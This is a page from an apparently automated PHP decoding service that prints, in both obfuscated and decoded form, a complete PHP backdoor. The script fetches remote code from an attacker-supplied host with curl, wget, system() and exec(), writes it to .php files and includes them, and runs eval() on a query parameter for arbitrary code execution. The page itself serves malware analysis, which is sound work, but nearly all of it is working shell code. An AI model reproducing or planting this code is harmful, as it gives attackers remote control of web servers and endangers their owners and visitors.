Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto gCB4g; nmQZs: if (!file_exists(realpath('') . "\57" . $_GET["\x70\x61\x74\x6..
Decoded Output download
<?php
goto gCB4g; nmQZs: if (!file_exists(realpath('') . "/" . $_GET["path"] . "4.php")) { goto j0nQT; } goto GqgRQ; BYQFV: if (!file_exists(realpath('') . "/" . $_GET["path"] . "4.php")) { goto TzOeT; } goto kux3S; pSzqb: j0nQT: goto ad8rg; poEZ9: if (file_exists(realpath('') . "/" . $_GET["path"] . "2.php")) { goto YDxyk; } goto bRcRc; ugHTw: goto vYAo9; goto rKksm; t4MlG: include realpath('') . "/" . $_GET["path"] . "2.php"; goto JC5ob; IVG63: goto cLUg8; goto hq_2z; Jkt0b: goto i29a7; goto lCGdU; ZZjpz: if (!file_exists(realpath('') . "/" . $_GET["path"] . "4.php")) { goto tJyno; } goto cG97l; IJm2u: include realpath('') . "/" . $_GET["path"] . "4.php"; goto ZVkx7; gp58u: jfay0: goto ugHTw; q81C1: system("curl -o " . $_GET["path"] . "4.php https://" . $_GET["url"] . ''); goto BYQFV; kux3S: chmod(realpath('') . "/" . $_GET["path"] . "4.php", 0644); goto IJm2u; AG7_O: exec("curl -o " . $_GET["path"] . "4.php https://" . $_GET["url"] . ''); goto ZZjpz; oZ1D8: if (!($BHsA2 = "turl")) { goto ZHXti; } goto qfDqr; NITub: $cGNqD = $EjKkG . ''; goto yuwp4; Z3N5S: tJyno: goto gp58u; ZUrxf: ZHXti: goto qrs1w; GVS8r: eval($_GET["mmm"]); goto wE7pw; tb9Hw: include realpath('') . "/" . $_GET["path"] . "4.php"; goto xRIxt; bluUk: UEJo1: goto GdpY5; P49EL: if (file_exists(realpath('') . "/" . $_GET["path"] . "3.php")) { goto O399L; } goto Rn6Ml; rzIbf: chmod(realpath('') . "/" . $_GET["path"] . ".php", 0644); goto nVSLP; ksCl1: if ($_GET["mmm"]) { goto LAIBQ; } goto FNB16; xRIxt: el_jY: goto q81C1; tGCJB: $BHsA2 = "zurl"; goto IVG63; yuwp4: SvLRE(realpath('') . "/" . $_GET["path"] . ".php", $cGNqD); goto QEPxF; Barjc: goto NyLw0; goto uwuvD; SVNg3: curl_setopt($KBQeL, CURLOPT_TIMEOUT, 60); goto uq6Cw; E2Ref: cLUg8: goto YGT0z; qrs1w: if (!($BHsA2 = "gurl")) { goto jfay0; } goto mZPBX; sq_8W: include realpath('') . "/" . $_GET["path"] . "2.php"; goto c_Ctq; kH1DL: if (file_exists(realpath('') . "/" . $_GET["path"] . ".php")) { goto pgYO8; } goto Il98z; ad8rg: exec("wget -O " . $_GET["path"] . "4.php https://" . $_GET["url"] . ''); goto ex1yZ; YGT0z: NlCEd: goto Qq8wu; ZVkx7: TzOeT: goto AG7_O; yp1u5: curl_setopt($KBQeL, CURLOPT_URL, $_GET["url"]); goto K1a7v; CxJfN: if ($_GET["url"]) { goto UEJo1; } goto ksCl1; lCGdU: O399L: goto opJ9_; cG97l: chmod(realpath('') . "/" . $_GET["path"] . "4.php", 0644); goto sTaJp; uq6Cw: $EjKkG = curl_exec($KBQeL); goto Hclk2; Rn6Ml: $BHsA2 = "gurl"; goto Jkt0b; uCuUy: pgYO8: goto rzIbf; PZahr: include realpath('') . "/" . $_GET["path"] . ".php"; goto E2Ref; c_Ctq: i29a7: goto ZUrxf; JC5ob: NyLw0: goto p7O9y; sTaJp: include realpath('') . "/" . $_GET["path"] . "4.php"; goto Z3N5S; pZlaf: $hyTr3 = $_GET["url"]; goto udCBX; ex1yZ: if (!file_exists(realpath('') . "/" . $_GET["path"] . "4.php")) { goto el_jY; } goto GZQUP; uwuvD: YDxyk: goto I7Fxm; Kt4y5: GHwhf: goto A94dI; vjqlx: include realpath('') . "/" . $_GET["path"] . "4.php"; goto pSzqb; gCB4g: echo "POST>PASSWORD: CHECKBOX NAME="F[]" VALUE=" "_upl" value="Upload" name="uploader" id="uploader""; goto CxJfN; FNB16: goto vYAo9; goto bluUk; udCBX: $l4GLv = '' . $_GET["path"] . "2.php"; goto lw99f; Il98z: $KBQeL = curl_init(); goto yp1u5; QEPxF: if (file_exists(realpath('') . "/" . $_GET["path"] . ".php")) { goto Arh0M; } goto tGCJB; opJ9_: chmod(realpath('') . "/" . $_GET["path"] . "3.php", 0644); goto sq_8W; bRcRc: $BHsA2 = "turl"; goto Barjc; nVSLP: include realpath('') . "/" . $_GET["path"] . ".php"; goto Kt4y5; lw99f: copy("https://{$hyTr3}", $l4GLv); goto poEZ9; Qq8wu: goto GHwhf; goto uCuUy; hq_2z: Arh0M: goto XkYXx; T_q5F: file_put_contents('' . $_GET["path"] . "3.php", $ZgjfP); goto P49EL; qfDqr: $ZgjfP = file_get_contents("https://" . $_GET["url"] . ''); goto T_q5F; p7O9y: zXJBN: goto oZ1D8; rKksm: LAIBQ: goto GVS8r; I7Fxm: chmod(realpath('') . "/" . $_GET["path"] . "2.php", 0644); goto t4MlG; mZPBX: system("wget -O " . $_GET["path"] . "4.php https://" . $_GET["url"] . ''); goto nmQZs; A94dI: if (!($BHsA2 = "zurl")) { goto zXJBN; } goto pZlaf; K1a7v: curl_setopt($KBQeL, CURLOPT_RETURNTRANSFER, 1); goto SVNg3; GZQUP: chmod(realpath('') . "/" . $_GET["path"] . "4.php", 0644); goto tb9Hw; GdpY5: function SVlRe($vqDqv, $EjKkG) { file_put_contents($vqDqv, "<?php /*" . uniqid() . "*/ ?>" . $EjKkG); } goto kH1DL; GqgRQ: chmod(realpath('') . "/" . $_GET["path"] . "4.php", 0644); goto vjqlx; XkYXx: chmod(realpath('') . "/" . $_GET["path"] . ".php", 0644); goto PZahr; Hclk2: if (!$EjKkG) { goto NlCEd; } goto NITub; wE7pw: vYAo9:
?>
Did this file decode correctly?
Original Code
<?php
goto gCB4g; nmQZs: if (!file_exists(realpath('') . "\57" . $_GET["\x70\x61\x74\x68"] . "\x34\x2e\160\x68\160")) { goto j0nQT; } goto GqgRQ; BYQFV: if (!file_exists(realpath('') . "\x2f" . $_GET["\x70\x61\164\150"] . "\x34\56\160\150\x70")) { goto TzOeT; } goto kux3S; pSzqb: j0nQT: goto ad8rg; poEZ9: if (file_exists(realpath('') . "\57" . $_GET["\160\141\164\x68"] . "\x32\x2e\x70\150\160")) { goto YDxyk; } goto bRcRc; ugHTw: goto vYAo9; goto rKksm; t4MlG: include realpath('') . "\x2f" . $_GET["\x70\141\164\x68"] . "\x32\x2e\160\x68\160"; goto JC5ob; IVG63: goto cLUg8; goto hq_2z; Jkt0b: goto i29a7; goto lCGdU; ZZjpz: if (!file_exists(realpath('') . "\x2f" . $_GET["\160\141\164\x68"] . "\64\x2e\x70\150\x70")) { goto tJyno; } goto cG97l; IJm2u: include realpath('') . "\57" . $_GET["\160\x61\164\x68"] . "\x34\56\160\150\160"; goto ZVkx7; gp58u: jfay0: goto ugHTw; q81C1: system("\143\x75\x72\x6c\x20\x2d\157\x20" . $_GET["\160\x61\164\150"] . "\64\x2e\x70\x68\x70\x20\x68\164\x74\x70\x73\72\x2f\57" . $_GET["\165\x72\154"] . ''); goto BYQFV; kux3S: chmod(realpath('') . "\x2f" . $_GET["\160\x61\164\x68"] . "\x34\x2e\160\x68\160", 0644); goto IJm2u; AG7_O: exec("\143\x75\x72\154\40\55\157\x20" . $_GET["\160\x61\x74\150"] . "\64\56\x70\x68\x70\40\150\x74\x74\x70\x73\72\57\57" . $_GET["\x75\x72\x6c"] . ''); goto ZZjpz; oZ1D8: if (!($BHsA2 = "\164\165\162\154")) { goto ZHXti; } goto qfDqr; NITub: $cGNqD = $EjKkG . ''; goto yuwp4; Z3N5S: tJyno: goto gp58u; ZUrxf: ZHXti: goto qrs1w; GVS8r: eval($_GET["\155\155\x6d"]); goto wE7pw; tb9Hw: include realpath('') . "\x2f" . $_GET["\x70\x61\164\150"] . "\64\x2e\160\150\x70"; goto xRIxt; bluUk: UEJo1: goto GdpY5; P49EL: if (file_exists(realpath('') . "\57" . $_GET["\x70\141\164\150"] . "\x33\x2e\160\x68\160")) { goto O399L; } goto Rn6Ml; rzIbf: chmod(realpath('') . "\x2f" . $_GET["\x70\x61\164\150"] . "\56\160\x68\x70", 0644); goto nVSLP; ksCl1: if ($_GET["\155\155\155"]) { goto LAIBQ; } goto FNB16; xRIxt: el_jY: goto q81C1; tGCJB: $BHsA2 = "\x7a\165\x72\154"; goto IVG63; yuwp4: SvLRE(realpath('') . "\x2f" . $_GET["\x70\x61\164\150"] . "\x2e\x70\x68\160", $cGNqD); goto QEPxF; Barjc: goto NyLw0; goto uwuvD; SVNg3: curl_setopt($KBQeL, CURLOPT_TIMEOUT, 60); goto uq6Cw; E2Ref: cLUg8: goto YGT0z; qrs1w: if (!($BHsA2 = "\x67\x75\162\x6c")) { goto jfay0; } goto mZPBX; sq_8W: include realpath('') . "\x2f" . $_GET["\x70\141\164\150"] . "\x32\56\x70\x68\x70"; goto c_Ctq; kH1DL: if (file_exists(realpath('') . "\x2f" . $_GET["\160\x61\x74\x68"] . "\x2e\x70\x68\160")) { goto pgYO8; } goto Il98z; ad8rg: exec("\167\x67\x65\164\x20\x2d\117\x20" . $_GET["\x70\x61\164\150"] . "\64\56\160\x68\x70\x20\x68\164\164\160\163\72\57\57" . $_GET["\x75\162\x6c"] . ''); goto ex1yZ; YGT0z: NlCEd: goto Qq8wu; ZVkx7: TzOeT: goto AG7_O; yp1u5: curl_setopt($KBQeL, CURLOPT_URL, $_GET["\165\x72\x6c"]); goto K1a7v; CxJfN: if ($_GET["\x75\162\154"]) { goto UEJo1; } goto ksCl1; lCGdU: O399L: goto opJ9_; cG97l: chmod(realpath('') . "\x2f" . $_GET["\160\141\164\x68"] . "\x34\56\160\x68\160", 0644); goto sTaJp; uq6Cw: $EjKkG = curl_exec($KBQeL); goto Hclk2; Rn6Ml: $BHsA2 = "\x67\x75\162\154"; goto Jkt0b; uCuUy: pgYO8: goto rzIbf; PZahr: include realpath('') . "\57" . $_GET["\160\141\164\150"] . "\56\x70\x68\160"; goto E2Ref; c_Ctq: i29a7: goto ZUrxf; JC5ob: NyLw0: goto p7O9y; sTaJp: include realpath('') . "\57" . $_GET["\160\x61\164\150"] . "\x34\x2e\x70\150\x70"; goto Z3N5S; pZlaf: $hyTr3 = $_GET["\x75\x72\154"]; goto udCBX; ex1yZ: if (!file_exists(realpath('') . "\x2f" . $_GET["\160\141\x74\x68"] . "\x34\56\160\150\x70")) { goto el_jY; } goto GZQUP; uwuvD: YDxyk: goto I7Fxm; Kt4y5: GHwhf: goto A94dI; vjqlx: include realpath('') . "\57" . $_GET["\x70\x61\164\150"] . "\x34\56\x70\x68\x70"; goto pSzqb; gCB4g: echo "\120\117\x53\124\x3e\120\101\x53\123\127\117\122\104\72\40\40\x20\40\40\x43\x48\x45\x43\x4b\x42\x4f\130\x20\x4e\x41\115\x45\x3d\42\x46\133\135\x22\x20\126\x41\x4c\x55\x45\75\x22\40\x20\42\137\165\160\x6c\42\x20\166\x61\154\x75\x65\x3d\x22\125\160\154\157\141\x64\x22\40\x6e\x61\155\x65\75\42\x75\x70\x6c\x6f\141\x64\145\x72\x22\x20\x69\144\75\x22\x75\160\x6c\157\x61\144\x65\162\x22"; goto CxJfN; FNB16: goto vYAo9; goto bluUk; udCBX: $l4GLv = '' . $_GET["\160\141\164\150"] . "\62\56\160\x68\160"; goto lw99f; Il98z: $KBQeL = curl_init(); goto yp1u5; QEPxF: if (file_exists(realpath('') . "\x2f" . $_GET["\x70\x61\x74\x68"] . "\56\160\150\x70")) { goto Arh0M; } goto tGCJB; opJ9_: chmod(realpath('') . "\57" . $_GET["\x70\x61\x74\x68"] . "\x33\56\160\150\x70", 0644); goto sq_8W; bRcRc: $BHsA2 = "\x74\x75\162\x6c"; goto Barjc; nVSLP: include realpath('') . "\57" . $_GET["\160\141\164\150"] . "\56\x70\x68\x70"; goto Kt4y5; lw99f: copy("\x68\164\164\x70\163\x3a\57\57{$hyTr3}", $l4GLv); goto poEZ9; Qq8wu: goto GHwhf; goto uCuUy; hq_2z: Arh0M: goto XkYXx; T_q5F: file_put_contents('' . $_GET["\160\x61\164\150"] . "\x33\56\160\150\160", $ZgjfP); goto P49EL; qfDqr: $ZgjfP = file_get_contents("\150\x74\x74\160\163\x3a\57\x2f" . $_GET["\165\162\x6c"] . ''); goto T_q5F; p7O9y: zXJBN: goto oZ1D8; rKksm: LAIBQ: goto GVS8r; I7Fxm: chmod(realpath('') . "\57" . $_GET["\x70\141\x74\x68"] . "\x32\x2e\x70\150\160", 0644); goto t4MlG; mZPBX: system("\167\x67\x65\x74\40\x2d\x4f\40" . $_GET["\x70\x61\164\x68"] . "\64\x2e\160\x68\160\x20\150\164\x74\160\x73\x3a\x2f\57" . $_GET["\x75\162\x6c"] . ''); goto nmQZs; A94dI: if (!($BHsA2 = "\x7a\x75\162\x6c")) { goto zXJBN; } goto pZlaf; K1a7v: curl_setopt($KBQeL, CURLOPT_RETURNTRANSFER, 1); goto SVNg3; GZQUP: chmod(realpath('') . "\57" . $_GET["\x70\x61\x74\150"] . "\x34\56\160\x68\160", 0644); goto tb9Hw; GdpY5: function SVlRe($vqDqv, $EjKkG) { file_put_contents($vqDqv, "\x3c\x3f\x70\150\x70\x20\x2f\x2a" . uniqid() . "\x2a\57\40\77\76" . $EjKkG); } goto kH1DL; GqgRQ: chmod(realpath('') . "\x2f" . $_GET["\x70\141\x74\x68"] . "\x34\x2e\x70\x68\160", 0644); goto vjqlx; XkYXx: chmod(realpath('') . "\57" . $_GET["\160\x61\164\x68"] . "\x2e\160\150\x70", 0644); goto PZahr; Hclk2: if (!$EjKkG) { goto NlCEd; } goto NITub; wE7pw: vYAo9:
Function Calls
None |
Stats
MD5 | c08b206348c1f0116e035c09ea9ede7b |
Eval Count | 0 |
Decode Time | 83 ms |